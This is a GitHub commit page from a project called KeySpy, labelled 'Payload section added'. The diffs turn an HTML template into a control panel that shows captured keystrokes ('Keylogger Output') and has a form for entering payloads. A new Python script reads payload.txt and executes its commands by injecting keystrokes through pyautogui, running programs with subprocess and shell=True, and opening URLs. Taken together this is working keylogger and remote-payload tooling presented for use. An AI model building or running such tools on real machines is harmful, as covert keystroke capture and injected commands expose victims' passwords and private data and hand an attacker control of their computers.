-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Payload section added
- Loading branch information
Showing
9 changed files
with
232 additions
and
350 deletions.
There are no files selected for viewing
File renamed without changes
File renamed without changes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,55 +1,154 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title>Keylogger Output</title> | ||
<style> | ||
body { | ||
font-family: Arial, sans-serif; | ||
margin: 0; | ||
padding: 0; | ||
background-color: #f0f0f0; | ||
} | ||
|
||
.container { | ||
max-width: 800px; | ||
margin: 0 auto; | ||
padding: 20px; | ||
background-color: #fff; | ||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); | ||
border-radius: 5px; | ||
margin-top: 50px; | ||
} | ||
|
||
h1 { | ||
text-align: center; | ||
margin-bottom: 20px; | ||
} | ||
|
||
ul { | ||
list-style-type: none; | ||
padding: 0; | ||
} | ||
|
||
li { | ||
margin-bottom: 10px; | ||
padding: 10px; | ||
background-color: #f9f9f9; | ||
border-radius: 5px; | ||
} | ||
</style> | ||
</head> | ||
<body> | ||
|
||
<div class="container"> | ||
<h1>Keylogger Output</h1> | ||
<ul> | ||
{% for log in logs %} | ||
<li>{{ log }}</li> | ||
{% endfor %} | ||
</ul> | ||
</div> | ||
|
||
</body> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title>Keylogger Output</title> | ||
<!-- Bootstrap CSS --> | ||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet"> | ||
<style> | ||
body { | ||
background-color: black; | ||
} | ||
|
||
.container { | ||
margin-top: 50px; | ||
background-color: black; | ||
color: white; | ||
padding: 20px; | ||
border-radius: 10px; | ||
} | ||
|
||
.header-section { | ||
text-align: center; | ||
margin-bottom: 10px; | ||
background-color: red; | ||
padding: 5px; | ||
border-radius: 5px; | ||
} | ||
|
||
.logo-container { | ||
display: flex; | ||
align-items: center; | ||
justify-content: center; | ||
} | ||
|
||
.logo-text { | ||
font-family: Arial, Helvetica, sans-serif; | ||
color: white; | ||
font-size: 30px; | ||
font-weight: bold; | ||
margin-left: 10px; /* Adjust this margin as needed */ | ||
} | ||
|
||
|
||
.nav-item{ | ||
font-size: 20px; | ||
font-weight: bold; | ||
font-family: Arial, Helvetica, sans-serif; | ||
} | ||
|
||
.nav-link { | ||
cursor: pointer; | ||
color: white; | ||
} | ||
|
||
.nav-link.active { | ||
background-color: white; | ||
color: black; | ||
} | ||
|
||
.tab-pane { | ||
background-color: hsl(0, 1%, 17%); | ||
} | ||
|
||
.pdng{ | ||
padding: 10px; | ||
} | ||
|
||
.form-group label { | ||
color: white; | ||
font-size: 30px; | ||
font-weight: bold; | ||
} | ||
|
||
.form-control { | ||
background-color: #333; | ||
color: hsl(127, 83%, 50%) !important; | ||
border: 1px solid #666 !important; | ||
font-size: 25px; | ||
font-weight: bold; | ||
padding: 10px; | ||
} | ||
|
||
#payloadInput{ | ||
background-color: black !important; | ||
border-radius: 10px; | ||
} | ||
|
||
.list-group{ | ||
color: black; | ||
} | ||
|
||
.btn-primary { | ||
background-color: #007bff; | ||
border-color: #007bff; | ||
} | ||
|
||
.btn-primary:hover { | ||
background-color: #0056b3; | ||
border-color: #0056b3; | ||
} | ||
</style> | ||
</head> | ||
<body> | ||
<div class="container"> | ||
<div class="header-section"> | ||
<div class="logo-container"> | ||
<img src="https://raw.githubusercontent.com/3rr0r-505/KeySpy/main/KeySpy-logo.png" alt="Logo" height="75px" align-item="left"> | ||
<span class="logo-text">KeySpy</span> | ||
</div> | ||
</div> | ||
<div class="header-section"> | ||
<ul class="nav nav-tabs justify-content-center"> | ||
<li class="nav-item"> | ||
<a class="nav-link" id="payload-tab" data-toggle="tab" href="#payload">PAYLOAD</a> | ||
</li> | ||
<li class="nav-item"> | ||
<a class="nav-link active" id="keylog-tab" data-toggle="tab" href="#keylog">KEYLOG</a> | ||
</li> | ||
</ul> | ||
</div> | ||
<div class="tab-content"> | ||
<div class="tab-pane fade" id="payload"> | ||
<h2 class="text-center">Payload Input</h2> | ||
<div class="pdng"> | ||
<form action="{{ url_for('payload') }}" method="post"> | ||
<div class="form-group"> | ||
<label for="payloadInput">Enter Payload:</label> | ||
<textarea class="form-control" id="payloadInput" name="payload" rows="5"></textarea> | ||
</div> | ||
<button type="submit" class="btn btn-primary">Run</button> | ||
</form> | ||
</div> | ||
</div> | ||
<div class="tab-pane fade show active" id="keylog"> | ||
<h2 class="text-center">Keylogger Output</h2> | ||
<div class="pdng"> | ||
<ul class="list-group"> | ||
{% for log in logs %} | ||
<li class="list-group-item">{{ log }}</li> | ||
{% endfor %} | ||
</ul> | ||
</div> | ||
</div> | ||
</div> | ||
</div> | ||
|
||
<!-- Bootstrap JS and dependencies (optional) --> | ||
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> | ||
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js"></script> | ||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> | ||
</body> | ||
</html> | ||
|
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
import os | ||
import subprocess | ||
import webbrowser | ||
import time | ||
import pyautogui | ||
|
||
def execute_command(command): | ||
try: | ||
if command.startswith("DELAY"): | ||
delay_time = int(command.split()[1]) / 1000.0 | ||
time.sleep(delay_time) | ||
elif command.startswith("STRING"): | ||
string_to_type = command.split("STRING ")[1].strip() | ||
pyautogui.typewrite(string_to_type) | ||
elif command.startswith("ENTER"): | ||
pyautogui.press('enter') | ||
elif command.startswith("GUI"): | ||
gui_key = command.split()[1].lower() | ||
if gui_key == "r": | ||
pyautogui.hotkey('win', 'r') | ||
elif gui_key == "l": | ||
pyautogui.hotkey('win', 'l') | ||
else: | ||
print("Unsupported GUI key:", gui_key) | ||
elif command.startswith("MENU"): | ||
pyautogui.press('menu') | ||
elif command.startswith("CTRL"): | ||
ctrl_key = command.split()[1].lower() | ||
pyautogui.hotkey('ctrl', ctrl_key) | ||
elif command.startswith("ALT"): | ||
alt_key = command.split()[1].lower() | ||
pyautogui.hotkey('alt', alt_key) | ||
elif command.startswith("SHIFT"): | ||
shift_key = command.split()[1].lower() | ||
pyautogui.hotkey('shift', shift_key) | ||
elif command.startswith("REM") or command.startswith("//"): | ||
# Ignore comments | ||
pass | ||
elif command.startswith("EXECUTE:"): | ||
file_path = command.split(":")[1].strip() | ||
subprocess.Popen(file_path, shell=True) | ||
elif command.startswith("BROWSE:"): | ||
url = command.split(":")[1].strip() | ||
webbrowser.open(url) | ||
elif command.startswith("CUSTOM:"): | ||
custom_command = command.split(":")[1].strip() | ||
# Add more custom command handling here as needed | ||
else: | ||
# Invalid command | ||
print("Invalid command:", command) | ||
except Exception as e: | ||
print("Error executing command:", e) | ||
|
||
def execute_payload(): | ||
file_path = os.path.join(os.path.dirname(__file__), 'payload.txt') | ||
with open(file_path, 'r') as file: | ||
for line in file: | ||
execute_command(line.strip()) | ||
|
||
if __name__ == "__main__": | ||
execute_payload() | ||
|
Oops, something went wrong.